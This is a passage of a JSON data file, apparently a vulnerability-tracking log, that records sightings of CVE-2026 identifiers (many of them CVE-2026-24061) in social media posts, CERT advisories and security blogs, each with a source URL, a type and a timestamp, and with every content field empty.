"d2bdb47b-0285-4012-ad13-d26f161a0c7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24309", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0256/", "content": "", "creation_timestamp": "2026-03-10T00:00:00.000000Z"}, {"uuid": "befaa7f6-3895-4131-8d43-035c791c0824", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24351", "type": "seen", "source": "https://cert.pl/en/posts/2026/02/CVE-2026-24350/", "content": "", "creation_timestamp": "2026-02-27T10:55:00.000000Z"}, {"uuid": "87e93cdc-97b6-4f61-94a9-f1b88f9260a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24350", "type": "seen", "source": "https://cert.pl/en/posts/2026/02/CVE-2026-24350/", "content": "", "creation_timestamp": "2026-02-27T10:55:00.000000Z"}, {"uuid": "3a3fc266-3169-4a61-81f3-58b471539e12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24352", "type": "seen", "source": "https://cert.pl/en/posts/2026/02/CVE-2026-24350/", "content": "", "creation_timestamp": "2026-02-27T10:55:00.000000Z"}, {"uuid": "790ac098-026a-45fc-ab8c-d8c8f181b090", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24901", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mhbnqxk6cu2u", "content": "", "creation_timestamp": "2026-03-17T18:59:05.139360Z"}, {"uuid": "9e107e4d-a8c5-4a62-864f-5d63a5179767", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24291", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mhlpqohd632m", "content": "", "creation_timestamp": "2026-03-21T19:01:20.622260Z"}, {"uuid": "398f2fd9-04a0-4443-859b-a7049b3333c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24158", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3midc2lbeuk2f", "content": "", "creation_timestamp": "2026-03-31T04:00:13.638246Z"}, {"uuid": "6e21f803-6e65-41be-b8dc-c82f9289b539", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2468", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhlt3q4cfs2f", "content": "", "creation_timestamp": "2026-03-21T20:01:13.189533Z"}, {"uuid": "c06e02e7-9101-4765-b964-8b377fba2566", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/patrickcmiller.bsky.social/post/3md7lzml6qb2v", "content": "", "creation_timestamp": "2026-01-25T01:42:02.489345Z"}, {"uuid": "7df45519-46da-476d-a7d0-ba402bdd58cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3md7olu6nv42a", "content": "", "creation_timestamp": "2026-01-25T02:28:01.279485Z"}, {"uuid": "35cb43dc-c8f6-43d1-8576-c805779186c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24400", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3md7olu6nv42a", "content": "", "creation_timestamp": "2026-01-25T02:28:01.521253Z"}, {"uuid": "aa5ca995-7251-40a4-af6f-a9fb729cbb66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/h12o.mastodon.tokyo.ap.brid.gy/post/3mda4qofeewc2", "content": "", "creation_timestamp": "2026-01-25T06:41:27.062883Z"}, {"uuid": "98c0689b-4b35-4f2d-a94a-16cb98f41182", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mda6mz7sv22m", "content": "", "creation_timestamp": "2026-01-25T07:15:00.933155Z"}, {"uuid": "e581de27-b02d-402f-b036-ef18419472e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24367", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdaatxznp72m", "content": "", "creation_timestamp": "2026-01-25T07:54:41.659419Z"}, {"uuid": "7ba02893-a0cc-4144-a680-7ca878803573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mdaepycqkx2c", "content": "", "creation_timestamp": "2026-01-25T09:04:03.263193Z"}, {"uuid": "0667b619-f035-488d-b413-ceb4b8562926", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mdagk3bysd2j", "content": "", "creation_timestamp": "2026-01-25T09:36:31.392067Z"}, {"uuid": "326b4947-ca20-4aee-aa9a-25d87716f808", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mdazsc44yw2c", "content": "", "creation_timestamp": "2026-01-25T15:21:08.716857Z"}, {"uuid": "656ff1bb-1ce0-4d2a-9149-7b83b69f7027", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mdb5unw6ux2o", "content": "", "creation_timestamp": "2026-01-25T16:34:03.745865Z"}, {"uuid": "6d573895-2364-4db4-9cfc-73cface527a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mdbmovliiu2z", "content": "", "creation_timestamp": "2026-01-25T20:59:15.951240Z"}, {"uuid": "f5f6b288-6bfd-4905-b665-d2ab6e5d2490", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "cve-2026-24061", "type": "confirmed", "source": "https://www.labs.greynoise.io/grimoire/2026-01-22-f-around-and-find-out-18-hours-of-unsolicited-houseguests/", "content": "", "creation_timestamp": "2026-01-25T21:46:50.006805Z"}, {"uuid": "b4909264-e57b-4ede-b048-8e4d358c7227", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/patrickcmiller/statuses/115958383938352988", "content": "", "creation_timestamp": "2026-01-25T23:42:01.222072Z"}, {"uuid": "62c90336-c1ca-4d78-b545-9d9a20c31021", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdc72qkl2b26", "content": "", "creation_timestamp": "2026-01-26T02:28:00.107857Z"}, {"uuid": "ac88d2e3-839b-4ad9-abd7-dcf3a1bc42e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24656", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mdckg6sfff2s", "content": "", "creation_timestamp": "2026-01-26T05:51:15.609655Z"}, {"uuid": "0577ca58-6d8c-4c01-8192-16c182ee6dc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/shadowserver/statuses/115960887466630861", "content": "", "creation_timestamp": "2026-01-26T10:18:42.681964Z"}, {"uuid": "b0b46bdd-89a6-47ce-a0d7-c4e784ed5f94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mdczhc5d7s23", "content": "", "creation_timestamp": "2026-01-26T10:20:22.914158Z"}, {"uuid": "c35e6ca5-1897-430e-91ca-416fce5de754", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mdczhejthk23", "content": "", "creation_timestamp": "2026-01-26T10:20:23.989449Z"}, {"uuid": "0f766a7c-1359-48a0-9a4c-6375cabdda2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mdczhfehys23", "content": "", "creation_timestamp": "2026-01-26T10:20:25.012957Z"}, {"uuid": "32390e3f-3c92-40ea-bb5b-a0c82963f979", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mdczsbkpr22a", "content": "", "creation_timestamp": "2026-01-26T10:26:31.016089Z"}, {"uuid": "a047261e-edb3-42c3-a173-dccc07ad7903", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mdczsdstes2a", "content": "", "creation_timestamp": "2026-01-26T10:26:32.132452Z"}, {"uuid": "baa1ec4f-7dd1-4f2a-bac1-86de296dda07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mdczsermq22a", "content": "", "creation_timestamp": "2026-01-26T10:26:33.248963Z"}, {"uuid": "c1619042-b07b-4d5d-a2c1-81d1cae14981", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mdd23zn47k2a", "content": "", "creation_timestamp": "2026-01-26T10:31:55.895674Z"}, {"uuid": "9e9f966c-91e9-4612-8d71-ae6ca766c62e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://www.acn.gov.it/portale/w/gnu-rilevato-sfruttamento-in-rete-della-cve-2026-24061", "content": "", "creation_timestamp": "2026-01-26T07:05:30.000000Z"}, {"uuid": "a620df37-2626-494f-b30f-e0e81ff4f6d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://cyberplace.social/users/GossiTheDog/statuses/115961088688323642", "content": "", "creation_timestamp": "2026-01-26T11:10:02.635856Z"}, {"uuid": "332f42fc-738c-4d3b-bb9e-75a397943587", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24656", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mddd6gepvo2g", "content": "", "creation_timestamp": "2026-01-26T13:14:18.284636Z"}, {"uuid": "e25faa09-3823-4338-89f1-75af664de04d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/theitnerd.ca/post/3mdde2mzrpl2k", "content": "", "creation_timestamp": "2026-01-26T13:30:07.829698Z"}, {"uuid": "289ae1e7-a281-4fc1-a764-d57e4ea30d0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mddgnr5i7l2e", "content": "", "creation_timestamp": "2026-01-26T14:16:34.386462Z"}, {"uuid": "891b2d61-34b5-4ef1-9876-7d095842518e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mddibzmmzi2o", "content": "", "creation_timestamp": "2026-01-26T14:45:48.527578Z"}, {"uuid": "8678e46d-e025-47e9-967e-e847d2c0c1a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mddkwaxn5y2m", "content": "", "creation_timestamp": "2026-01-26T15:32:54.335961Z"}, {"uuid": "f2c58414-adc8-4409-ae88-7e0021adc049", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24428", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mde22izyzl2j", "content": "", "creation_timestamp": "2026-01-26T20:03:43.007147Z"}, {"uuid": "aa7525e6-fa37-416f-876d-d1f4a6d075e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24430", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mde2b7xfmg23", "content": "", "creation_timestamp": "2026-01-26T20:07:28.486116Z"}, {"uuid": "bd4cf06a-5dca-4f17-a637-533039f7afc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24436", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mde2rtwezj2g", "content": "", "creation_timestamp": "2026-01-26T20:16:46.055711Z"}, {"uuid": "02e87902-622e-4c0c-90d6-b93596295a87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24429", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mde32sdd2s2n", "content": "", "creation_timestamp": "2026-01-26T20:21:46.499941Z"}, {"uuid": "2ab69273-a43f-47cf-89cc-c1c5f5668660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24440", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mde3dqqpmt2m", "content": "", "creation_timestamp": "2026-01-26T20:26:46.905043Z"}, {"uuid": "52c0f4f6-27fc-4763-915f-18f5ab62c4ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/goncalor/statuses/115962624709392161", "content": "", "creation_timestamp": "2026-01-26T21:17:30.104083Z"}, {"uuid": "c22840af-782e-487c-b915-d228da3aa83b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24656", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mdeaohh4yi22", "content": "", "creation_timestamp": "2026-01-26T22:02:15.570447Z"}, {"uuid": "33f27288-87e0-44d4-874c-4af6132e92b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24538", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdecieotag2v", "content": "", "creation_timestamp": "2026-01-26T22:34:38.462197Z"}, {"uuid": "429e829f-52fb-429f-aabc-3cac60e558db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24470", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdehaycyat2r", "content": "", "creation_timestamp": "2026-01-27T00:00:00.047948Z"}, {"uuid": "c84ef0de-5a32-4b43-b303-63c8377c968b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/115964142568645058", "content": "", "creation_timestamp": "2026-01-27T00:06:31.206350Z"}, {"uuid": "84308531-1a27-4d43-8df8-78e2f8b5c43d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/115964224273488889", "content": "", "creation_timestamp": "2026-01-27T00:27:17.865822Z"}, {"uuid": "237f50b6-c546-4ded-816c-ec1a68da24a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/sachapman.bsky.social/post/3mdejkjnrpc2v", "content": "", "creation_timestamp": "2026-01-27T00:41:09.643883Z"}, {"uuid": "409b8cb8-1e0d-49e6-b222-7b22784829d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24428", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/115964370964509737", "content": "", "creation_timestamp": "2026-01-27T01:04:35.800975Z"}, {"uuid": "c296c260-af33-45e9-b9b5-b70b12af5752", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24131", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdelaw2rhn2r", "content": "", "creation_timestamp": "2026-01-27T01:11:31.493765Z"}, {"uuid": "b3bae0c0-5a2d-44df-8866-64bf83720d94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24003", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdeldvqvch2c", "content": "", "creation_timestamp": "2026-01-27T01:13:11.800682Z"}, {"uuid": "764d440f-c1c4-4938-b4ec-75b28c7871e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24408", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdelkgpupa2c", "content": "", "creation_timestamp": "2026-01-27T01:16:50.934571Z"}, {"uuid": "0aa05238-e385-458e-8bf1-cb5b2e7ad2e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24056", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdelrufrxa2j", "content": "", "creation_timestamp": "2026-01-27T01:21:00.336689Z"}, {"uuid": "c8b66971-3e4c-4ad7-9a2c-afabb8b9cfb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24486", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdemf2mwlf23", "content": "", "creation_timestamp": "2026-01-27T01:31:44.840148Z"}, {"uuid": "aba79d2c-355a-407e-ae58-ace004f21b7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24490", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdemfc3i2a2m", "content": "", "creation_timestamp": "2026-01-27T01:31:52.591602Z"}, {"uuid": "c4060d31-a47e-4e8f-857f-8a57b983e7f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24400", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdemkpocxi2i", "content": "", "creation_timestamp": "2026-01-27T01:34:54.319349Z"}, {"uuid": "0643d083-cc9c-4211-9ce9-bef89af9728d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24476", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdemz46rcs2c", "content": "", "creation_timestamp": "2026-01-27T01:42:57.157104Z"}, {"uuid": "6fa05d68-a2a3-43b0-8a49-4fd73b87c08d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24123", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdenc2oakd26", "content": "", "creation_timestamp": "2026-01-27T01:47:57.456134Z"}, {"uuid": "cd30057e-3d86-4c9b-8d2f-9efe2ce50268", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24470", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdenkz35sv2n", "content": "", "creation_timestamp": "2026-01-27T01:52:57.926780Z"}, {"uuid": "790e2ec3-21f4-476a-9956-b52e8853902e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mdep2vij2i27", "content": "", "creation_timestamp": "2026-01-27T02:19:44.868502Z"}, {"uuid": "81f842c0-5d7d-40ec-b44c-3f66e985fae6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdepjazwot23", "content": "", "creation_timestamp": "2026-01-27T02:27:46.688276Z"}, {"uuid": "a6ff73a6-03df-4796-b62a-59d1fb1680d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24531", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdeqh66wya2r", "content": "", "creation_timestamp": "2026-01-27T02:44:30.863006Z"}, {"uuid": "634ed82b-ffec-463e-83d7-2c89a9d516f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24532", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdeqhffvip25", "content": "", "creation_timestamp": "2026-01-27T02:44:38.323567Z"}, {"uuid": "37e75eb9-26f9-47bd-ad08-4f52764cd6f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24534", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdeqhmzy5q2r", "content": "", "creation_timestamp": "2026-01-27T02:44:46.075504Z"}, {"uuid": "19834f72-d121-47a7-9be5-0b7eefd07938", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24486", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdesgpzcui2i", "content": "", "creation_timestamp": "2026-01-27T03:20:07.442309Z"}, {"uuid": "28e57500-980d-4653-a34f-53509bd9b4ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24480", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdesr4exwc2t", "content": "", "creation_timestamp": "2026-01-27T03:25:51.326025Z"}, {"uuid": "790ed3e4-ba0d-4ae4-95e2-4f8bce0fe9ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24478", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdesx3gifi2r", "content": "", "creation_timestamp": "2026-01-27T03:29:11.665436Z"}, {"uuid": "2d3491e9-066e-4ee9-84f2-9ab73e6acca3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24477", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdet5sfbzm2n", "content": "", "creation_timestamp": "2026-01-27T03:32:56.976385Z"}, {"uuid": "4dbb55d7-dd3e-4d0c-ab86-996fee53222e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24686", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdetfhx4si2j", "content": "", "creation_timestamp": "2026-01-27T03:37:14.503755Z"}, {"uuid": "59d4d191-2583-4d14-9dcf-cf629610e882", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24479", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdetxesql32i", "content": "", "creation_timestamp": "2026-01-27T03:47:15.701831Z"}, {"uuid": "e22af64e-992b-42b0-837a-a9b8a9617d79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24490", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdeujbono62i", "content": "", "creation_timestamp": "2026-01-27T03:57:15.802047Z"}, {"uuid": "411f95c4-23eb-4eef-8808-a2596907bb60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 